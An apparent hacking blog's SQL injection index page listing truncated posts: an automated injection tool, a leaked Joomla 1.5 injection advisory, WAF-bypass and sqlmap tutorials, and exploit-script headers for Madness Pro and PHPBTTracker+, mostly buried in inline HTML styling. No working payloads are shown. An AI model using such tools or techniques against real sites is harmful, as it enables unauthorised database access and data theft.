Mr.Quay's Blog: SQL Injection

jSQL Injection - Java based automated SQL injection tool

<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZV8MSy-qHH_NCnRatE_mVmHHfs_39hzjr8PK6aPjudJDX4DjIkZ86478GFmRsLtCfMPytKeScuKegXXOYFnNq830gOuXj7BmU07d-C6UaH23G5Lj7p1jNNxTu-LnrSSDoptXKhHDF3yM/s1600/jsql-sql-injection-tool.png" imageanchor="1" style="outline: none; text-decoration: none;"><img border="0" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZV8MSy-qHH_NCnRatE_mVmHHfs_39hzjr8PK6aPjudJDX4DjIkZ86478GFmRsLtCfMPytKeScuKegXXOYFnNq830gOuXj7BmU07d-C6UaH23G5Lj7p1jNNxTu-LnrSSDoptXKhHDF3yM/s280/jsql-sql-injection-tool.png" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px;" width="280"></a> </div>
<span style="color: black;">jSQLi is java based free SQL Injection Tool.  It is very easy for user to retrieve database information from a vulnerable web server.<br></span>

jSQL Injection - Java based automated SQL injection tool

jSQLi is java based free SQL Injection Tool. It is very easy for user to retrieve database information from a vulnerable web server.

Joomla All V1.5 Error Based SQL Injection Vulnerability

<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">**Joomla all v1.5 Error Based SQL Injection Vulnerability**
</span><br>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">//...Leaked bY Anon Leaker..//  
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">//..12.12.2012..//
</span><br>
<br style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0  _     __     __  __     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1   /' \    __  /'__`\  /\ \__  /'__`\     0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\    0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0  \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1  \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\     0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0  \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1    \ \____/ >> Exploit database separated by exploit   0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0     \/___/    type (local, remote, DoS, etc.)    1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1    1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0  [+] Site    : 1337day.com     0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1  [+] Support e-mail  : submit[at]1337day.com     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0    0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1     ##    1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0     I'm Caddy-dz member from Inj3ct0r Team     1
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">1     ##    0
</span><br>
<span style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
</span><br>

Joomla All V1.5 Error Based SQL Injection Vulnerability

**Joomla all v1.5 Error Based SQL Injection Vulnerability** //...Leaked bY Anon Leaker..// //..12.12.2012..// 1-=-=-=-=-=-=-=-=-=-=-=...

[TUT] WAF Bypass Sql Injection

<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
Today I am going to show you how to bypass <span style="text-decoration: underline;">Web Application Firewalls </span>( <strong>WAF</strong> ). I will demonstrate from the Simpliest and most Basic Techniques to the Most Advanced ones!</div>
<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<strong>NOTE: If you don’t know SQL Injection, <a href="http://hack2play.blogspot.com/2012/11/tut-hack-website-using-sql-injection.html" style="outline: none; text-decoration: none;" target="_blank">read this first…</a></strong></div>
<h2 style="font-family: Arial, Verdana; line-height: 19px; text-align: justify;">
</h2>
<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: center;">
<img alt="" class="aligncenter" height="400" scale="0" src="http://www.ossramblings.com/files/images/firewall.png" style="-webkit-box-shadow: none; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; box-shadow: none; margin: 0px 4px 4px 0px; max-width: 99%; padding: 0px;" title="Firewall" width="400"></div>
<h2 style="font-family: Arial, Verdana; line-height: 19px; text-align: justify;">
What is WAF?</h2>
<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections!</div>
<div style="font-family: Arial, Verdana; font-size: 13px; line-height: 19px; text-align: justify;">
<strong>Let’s Begin!</strong></div>

[TUT] WAF Bypass Sql Injection

Today I am going to show you how to bypass Web Application Firewalls ( WAF ). I will demonstrate from the Simpliest and most Basic Tech...

MYSQL Database Manual SQL Injection Tutorial

Hello guys, hope you all are doing great. Today i will explain manual SQL Injection on MYSQL database. Requirement for this is only a sqli v...

Droidsqli Android SQL injection Tool

Droidsqli Android SQL injection Tool

Madness Pro <= 1.14 - SQL Injection

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">#!/usr/bin/env python2</code></div>
<div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># -*- coding: utf-8 -*-</code></div>
<div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Title: Madness Pro <= 1.14 SQL injection</code></div>
<div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Date: June 05, 2014</code></div>
<div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Author: @botnet_hunter</code></div>
<div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Version: 1.14</code></div>
<div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Tested on: Apache2 - Ubuntu - MySQL</code></div>
<div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="py comments" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"></code></div>

Madness Pro <= 1.14 - SQL Injection

#!/usr/bin/env python2 # -*- coding: utf-8 -*- # Exploit Title: Madness Pro <= 1.14 SQL injection # Date: June 05, 2014 # Exploi...

PHPBTTracker+ 2.2 - SQL Injection

<div class="line number1 index0 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Title: PHPBTTracker+ 2.2 SQL Injection</code></div>
<div class="line number2 index1 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Date: May 13th, 2014</code></div>
<div class="line number3 index2 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Exploit Author: BackBox Team <info@backbox.org></code></div>
<div class="line number4 index3 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Vendor Homepage: http://phpbttrkplus.sourceforge.net/</code></div>
<div class="line number5 index4 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Software Link: http://sourceforge.net/projects/phpbttrkplus/files/</code></div>
<div class="line number6 index5 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Version: PHPBTTracker+ 2.2</code></div>
<div class="line number7 index6 alt2" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="text plain" style="background: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"># Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0</code></div>
<div class="line number8 index7 alt1" style="background: none white !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; font-size: 14px; height: auto !important; left: auto !important; line-height: 15.399999618530273px; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
 </div>

PHPBTTracker+ 2.2 - SQL Injection

# Exploit Title: PHPBTTracker+ 2.2 SQL Injection # Date: May 13th, 2014 # Exploit Author: BackBox Team <info@backbox.org> # Ven...

Hướng dẫn sử dụng SqlMap Backtrack 5

<span style="background-color: #1b1b1d; color: white; font-family: Arial; font-size: x-small; line-height: 22.399999618530273px;">Hi, in this tutorial, I’ll be showing you a simple SQL Injection using BackTrack 5.<br><i></i></span><br>
<div style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 20px;">
<span style="color: white; font-family: Arial; font-size: x-small;"><i><div class="smallfont" style="margin-bottom: 2px;">
Quote:</div>
<table border="0" cellpadding="6" cellspacing="0" style="border-collapse: collapse; border-spacing: 0px; color: #555555; margin: 10px 0px;"><tbody>
<tr><td class="alt2" style="border: 1px inset; padding: 0.4em 0.8em;">[dbname] = Database name; [tbname] = Table name; [cmname] = Column name.</td></tr>
</tbody></table>
</i></span></div>
<span style="background-color: #1b1b1d; color: white; font-family: Arial; font-size: x-small; line-height: 22.399999618530273px;"><br><i><span style="color: lime;">1. Open up sqlmap</span></i></span><br>
<table class="thead" id="" style="border-collapse: collapse; border-spacing: 0px; color: #555555; margin: 10px 0px; width: 500px;"><tbody>
<tr><td style="border: 1px solid rgba(255, 255, 255, 0.027451); padding: 0.4em 0.8em;" width="20"></td><td style="border: 1px solid rgba(255, 255, 255, 0.027451); padding: 0.4em 0.8em;"><br></td></tr>
</tbody></table>
<span style="background-color: #1b1b1d; color: white; font-family: Arial; font-size: x-small; line-height: 22.399999618530273px;"><a href="http://img132.imageshack.us/img132/5500/13711831.png" rel="lytebox[46596]" style="color: #333333; font-family: 'comic sans ms'; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;"><img border="0" name="http://img132.imageshack.us/img132/5500/13711831.pngp" src="http://img132.imageshack.us/img132/5500/13711831.png" style="background: rgb(17, 17, 17); border: 1px solid rgb(34, 34, 34); padding: 5px;" width="500"></a></span><br>

Hướng dẫn sử dụng SqlMap Backtrack 5

Hi, in this tutorial, I’ll be showing you a simple SQL Injection using BackTrack 5. Quote: [dbname] = Database name; [tbname] = Table n...

SQL UNHEX --- 403 --- LIMIT.

<span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">SQL UNHEX --- 403 --- LIMIT.</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 